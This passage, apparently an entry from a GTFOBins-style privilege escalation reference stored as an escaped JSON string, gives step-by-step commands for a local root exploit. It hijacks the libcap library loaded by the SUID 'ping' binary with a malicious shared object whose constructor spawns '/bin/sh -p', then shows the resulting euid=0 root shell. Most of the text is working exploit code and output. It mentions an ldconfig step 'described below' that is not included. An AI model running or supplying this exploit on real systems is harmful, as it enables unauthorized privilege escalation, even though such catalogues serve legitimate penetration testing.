Identify a target SUID executable, for example the 'libcap' library of 'ping':\n\n```\n$ ldd /bin/ping | grep libcap\n      libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)\n```\n\nCreate a fake library that spawns a shell at bootstrap:\n\n```\necho '#include <unistd.h>\n\n__attribute__((constructor))\nstatic void init() {\n    execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL);\n}\n' >\"$TF/lib.c\"\n```\n\nCompile it with:\n\n```\ngcc -fPIC -shared \"$TF/lib.c\" -o \"$TF/libcap.so.2\"\n```\n\nRun 'ldconfig' again as described below then just run 'ping' to obtain a root shell:\n\n```\n$ ping\n# id\nuid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)\n```",
